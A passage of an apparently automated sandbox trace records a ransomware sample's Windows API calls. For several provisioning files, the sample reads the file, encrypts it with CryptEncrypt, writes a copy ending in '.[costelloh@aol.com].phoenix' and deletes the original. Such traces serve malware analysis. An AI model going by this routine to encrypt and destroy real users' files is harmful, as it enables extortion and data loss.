	[0255.747] CryptDestroyKey (hKey=0x151780) returned 1
	[0255.747] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0255.747] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0255.747] CloseHandle (hObject=0x2c0) returned 1
	[0255.747] CloseHandle (hObject=0x2d0) returned 1
	[0255.747] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\599__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0255.748] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0255.748] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\59__connections_cellular_cosmo bulgaria mobile ead (bulgaria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0255.749] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=672) returned 1
	[0255.749] CloseHandle (hObject=0x2d0) returned 1
	[0255.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\59__connections_cellular_cosmo bulgaria mobile ead (bulgaria)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0255.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\59__connections_cellular_cosmo bulgaria mobile ead (bulgaria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.749] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\59__connections_cellular_cosmo bulgaria mobile ead (bulgaria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0255.749] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.749] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.749] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\59__connections_cellular_cosmo bulgaria mobile ead (bulgaria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0255.750] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151340) returned 1
	[0255.750] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.750] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2a0, lpOverlapped=0x0) returned 1
	[0255.753] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2b0, dwBufLen=0x2b0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2b0) returned 1
	[0255.753] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2b0, lpOverlapped=0x0) returned 1
	[0255.754] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1515c0) returned 1
	[0255.754] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.754] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0, dwBufLen=0xd0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0) returned 1
	[0255.754] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0255.754] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x182, lpOverlapped=0x0) returned 1
	[0255.754] CryptDestroyKey (hKey=0x151340) returned 1
	[0255.755] CloseHandle (hObject=0x2d0) returned 1
	[0255.755] CloseHandle (hObject=0x2c0) returned 1
	[0255.755] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\59__connections_cellular_cosmo bulgaria mobile ead (bulgaria)_i0$(__mvid)@wap.provxml")) returned 1
	[0255.756] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0255.756] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\5__connections_cellular_telecom personal sa (argentina)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0255.756] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=729) returned 1
	[0255.756] CloseHandle (hObject=0x2c0) returned 1
	[0255.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\5__connections_cellular_telecom personal sa (argentina)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0255.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\5__connections_cellular_telecom personal sa (argentina)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.757] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\5__connections_cellular_telecom personal sa (argentina)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0255.757] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.757] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.757] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\5__connections_cellular_telecom personal sa (argentina)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0255.758] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1515c0) returned 1
	[0255.758] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.758] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d9, lpOverlapped=0x0) returned 1
	[0255.759] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0255.759] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0255.760] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151640) returned 1
	[0255.760] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.760] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0255.760] CryptDestroyKey (hKey=0x151640) returned 1
	[0255.760] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0255.761] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0255.761] CloseHandle (hObject=0x2c0) returned 1
	[0255.761] CloseHandle (hObject=0x2d0) returned 1
	[0255.761] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\5__connections_cellular_telecom personal sa (argentina)_i0$(__mvid)@wap.provxml")) returned 1
	[0255.762] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0255.762] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\600__connections_cellular_sfr (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0255.763] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=706) returned 1
	[0255.763] CloseHandle (hObject=0x2d0) returned 1
	[0255.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\600__connections_cellular_sfr (france)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0255.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\600__connections_cellular_sfr (france)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.763] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\600__connections_cellular_sfr (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0255.763] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.763] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.763] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\600__connections_cellular_sfr (france)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0255.764] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151640) returned 1
	[0255.764] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.764] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c2, lpOverlapped=0x0) returned 1
	[0255.767] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0255.767] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0255.768] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1511c0) returned 1
	[0255.768] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.768] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0255.768] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0255.768] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0255.768] CryptDestroyKey (hKey=0x151640) returned 1
	[0255.768] CloseHandle (hObject=0x2d0) returned 1
	[0255.768] CloseHandle (hObject=0x2c0) returned 1
	[0255.769] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\600__connections_cellular_sfr (france)_i0$(__mvid)@wap.provxml")) returned 1
	[0255.770] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0255.770] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\601__connections_cellular_sfr (france)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0255.771] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=704) returned 1
	[0255.771] CloseHandle (hObject=0x2c0) returned 1
	[0255.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\601__connections_cellular_sfr (france)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0255.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\601__connections_cellular_sfr (france)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.772] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\601__connections_cellular_sfr (france)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0255.772] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.772] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.772] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\601__connections_cellular_sfr (france)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0255.772] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151140) returned 1
	[0255.773] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.773] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c0, lpOverlapped=0x0) returned 1
	[0255.961] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0255.961] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0255.962] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1515c0) returned 1
	[0255.962] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.962] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0255.962] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0255.962] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0255.962] CryptDestroyKey (hKey=0x151140) returned 1
	[0255.962] CloseHandle (hObject=0x2c0) returned 1
	[0255.962] CloseHandle (hObject=0x2d0) returned 1
	[0255.962] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\601__connections_cellular_sfr (france)_i1$(__mvid)@wap.provxml")) returned 1
	[0255.966] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0255.966] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\609__Connections_Cellular_Tata Docomo (India)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\609__connections_cellular_tata docomo (india)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0255.967] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=718) returned 1
	[0255.967] CloseHandle (hObject=0x2d0) returned 1
